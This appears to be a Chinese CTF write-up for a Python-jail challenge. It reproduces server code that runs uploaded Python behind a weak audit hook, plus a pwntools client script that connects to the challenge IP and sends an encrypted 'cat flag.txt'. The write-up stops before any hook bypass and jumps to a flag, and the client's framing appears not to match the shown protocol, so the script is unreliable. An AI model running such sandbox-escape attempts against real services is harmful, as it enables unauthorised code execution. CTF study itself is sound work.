    def recvfile(self) -> bytes:
        '''
        Only receive file sent using self.send_largefile
        '''
        output = b''
        while True:
            a = self.recv_large(is_decode=False)
            if a != 'EOF'.encode(encoding=self.default_encoder):
                output += a
            else:
                break
        return output
    def recv_large(self, is_decode: bool = True):
        '''
        The return type can be bytes or string
        The method to recv message WHICH IS SENT BY self.send_large
        is_decode : decode the message with {self.default_encoder}
        '''
        message_listlen = self._recv(self.default_message_len).decode(
            encoding=self.default_encoder).rstrip()
        message_listlen = int(message_listlen)
        message = b''
        for i in range(0, message_listlen):
            mes = self._recv(self.default_message_len)
            if i == message_listlen - 1:
                mes_padnum = int(self._recv(self.default_message_len).decode(
                    encoding=self.default_encoder))
            else:
                mes_padnum = 0
            mes = self.unpadding_packets(mes, mes_padnum)
            message += mes
        message = decompress(message)
        if is_decode:
            message = message.decode(encoding=self.default_encoder)
        return message
    def _recv(self, length: int) -> bytes:
        '''
        The basic method to decrypt and recv data
        '''
        if self.cipher_aes != None:
            if length % 16 == 0:
                length += 16
            length = (length + self.BLOCK_SIZE-1) // self.BLOCK_SIZE * self.BLOCK_SIZE # round up to multiple of 16
            message = self.s.recv(length)
            message = self.cipher_aes.decrypt(message)
            message = self.unpad_packets_to_mutiple(message, self.BLOCK_SIZE)
        else:
            message = self.s.recv(length)
        return message
    def unpad_packets_to_mutiple(self, padded_data: bytes, block_size: int == None) -> bytes:
        '''
        Unpad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode
        target_length = None : use self.BLOCK_SIZE
        '''
        if block_size == None:
            block_size = self.BLOCK_SIZE
        padding = padded_data[-1]
        if padding > block_size or any(byte != padding for byte in padded_data[-padding:]):
            raise ValueError("Invalid padding")
        return padded_data[:-padding]
    
def main():
    Sock = SimpleTCP(password='LetsLament')
    Sock.s.bind(('0.0.0.0', 13337))
    Sock.s.listen(5) 
    while True:
        _ = Sock.accept()     
        Sock.send('Hello, THE flag speaking.')
        Sock.send('I will not let you to control Lament Jail forever.')
        Sock.send('But, my friend LamentXU has to control it, as he will rescue me out of this jail.')
        Sock.send('So here is the pyJail I build. Only LamentXU knows how to break it.')    
        a = Sock.recvfile().decode()
        waf = '''
import sys
def audit_checker(event,args):
    if not 'id' in event:
        raise RuntimeError
sys.addaudithook(audit_checker)

'''
        content = waf + a
        name = uuid4().hex+'.py'
        with open(name, 'w') as f:
            f.write(content)
        try:
            cmd = ["python3", name]
            p = Popen(cmd, stdout=PIPE, stderr=PIPE)
            for line in iter(p.stdout.readline, b''):
                Sock.send(line.decode('utf-8').strip())
            p.wait()
            Sock.send('Done, BYE.')
        except:
            Sock.send('Error.')
        finally:
            Sock.s.close()
        remove(name)
if __name__ == '__main__':
    while True:
        try:
            main()
        except:
            pass

代码功能分析:

  1. SimpleTCP 类:实现了加密的 TCP 通信,包括:AES 加密通信,RSA 密钥交换,密码验证,大文件传输功能
  2. 主函数 main():监听 13337 端口,要求密码"LetsLament"进行连接,接收用户上传的 Python 代码,在沙箱环境中执行代码并返回输出

安全限制

  1. 密码保护:必须使用密码"LetsLament"连接
  2. 审计钩子:执行的代码会被添加审计钩子,限制危险操作
1
2
def audit_checker(event,args):if not 'id' in event:raise RuntimeError
sys.addaudithook(audit_checker)

我们需要做的是绕过这个审计钩子,来执行我们需要的代码

目前已知的题目提示:

  1. 主机上运行有能够让人们完全控制主机的服务(使用套接字进行远控)
  2. 主机上限制了我们远程代码的执行
  3. 主机上存在/bin/rf(可能算后门文件),可以从某个地方直接读取 flag。

首先第一步是连接服务器,服务器使用了 加密通信(服务器使用 AES 加密(AES.MODE_ECB),并且会在连接时进行 RSA 密钥交换) 和 密码验证(服务器要求客户端发送密码(password=‘LetsLament’)

流程如下:

服务器首先发送 {“is_encrypted”: true, “has_password”: true}。

然后等待客户端:

  • 发送密码(LetsLament)。
  • 发送 RSA 公钥(用于交换 AES 密钥)。

如果客户端不按照流程发送数据,服务器会直接断开连接

这里使用 pwntools 进行自动化连接:

先输入一个 cat flag 试试水:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

def exploit():
    r = remote("47.93.96.189", 39090)
    
    # 1. 接收服务器初始信息
    server_info = r.recvuntil("}").decode()
    print("Server info:", server_info)
    
    # 2. 发送密码
    password = "LetsLament"
    r.send(str(len(password)).encode().ljust(3))
    r.send(password.encode())
    
    # 3. 检查密码是否正确
    auth_result = r.recv(1)
    if auth_result != b'1':
        print("Wrong password!")
        return
    
    # 4. 生成 RSA 密钥对并发送公钥
    key = RSA.generate(2048)
    public_key = key.publickey().export_key()
    r.send(public_key)
    
    # 5. 接收 AES 密钥并解密
    encrypted_aes_key = r.recv(256)
    cipher_rsa = PKCS1_OAEP.new(key)
    aes_key = cipher_rsa.decrypt(encrypted_aes_key)
    
    # 6. 发送加密的命令
    cipher_aes = AES.new(aes_key, AES.MODE_ECB)
    cmd = "cat flag.txt".encode()
    padded_cmd = cmd + b' ' * (16 - len(cmd) % 16)
    encrypted_cmd = cipher_aes.encrypt(padded_cmd)
    r.send(encrypted_cmd)
    
    # 7. 接收并解密服务器返回的数据
    response = r.recv(1024)
    decrypted_response = cipher_aes.decrypt(response).strip()
    print("Flag:", decrypted_response.decode())
    
    r.close()

exploit()

有如下回显:

提示我们存在 pyjail,需要想办法绕过

服务器端接收到客户端发送的代码后,会将其与预定义的 waf 字符串拼接:

原代码:

1
2
3
4
5
6
7
8
waf = '''
import sys
def audit_checker(event, args):
    if not 'id' in event:
        raise RuntimeError
sys.addaudithook(audit_checker)
'''
content = waf + a  # a 是客户端发送的代码

通过将 waf 代码与客户端代码拼接,确保客户端代码在执行时会受到 audit_checker 的限制。客户端代码无法直接执行,必须通过 audit_checker 的检查才能运行。

那么 audit_checker 是什么:

原代码如下:

1
2
3
def audit_checker(event, args):
    if not 'id' in event:
        raise RuntimeError

如果事件中不包含 id 字段,就会抛出 RuntimeError 异常,从而阻止某些操作的执行

问卷

填写问卷即可。。

flag{TH@NK_U!WE_H0P3_Y0U_H@VE_FU7!H@PPY_H@CKING!}

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计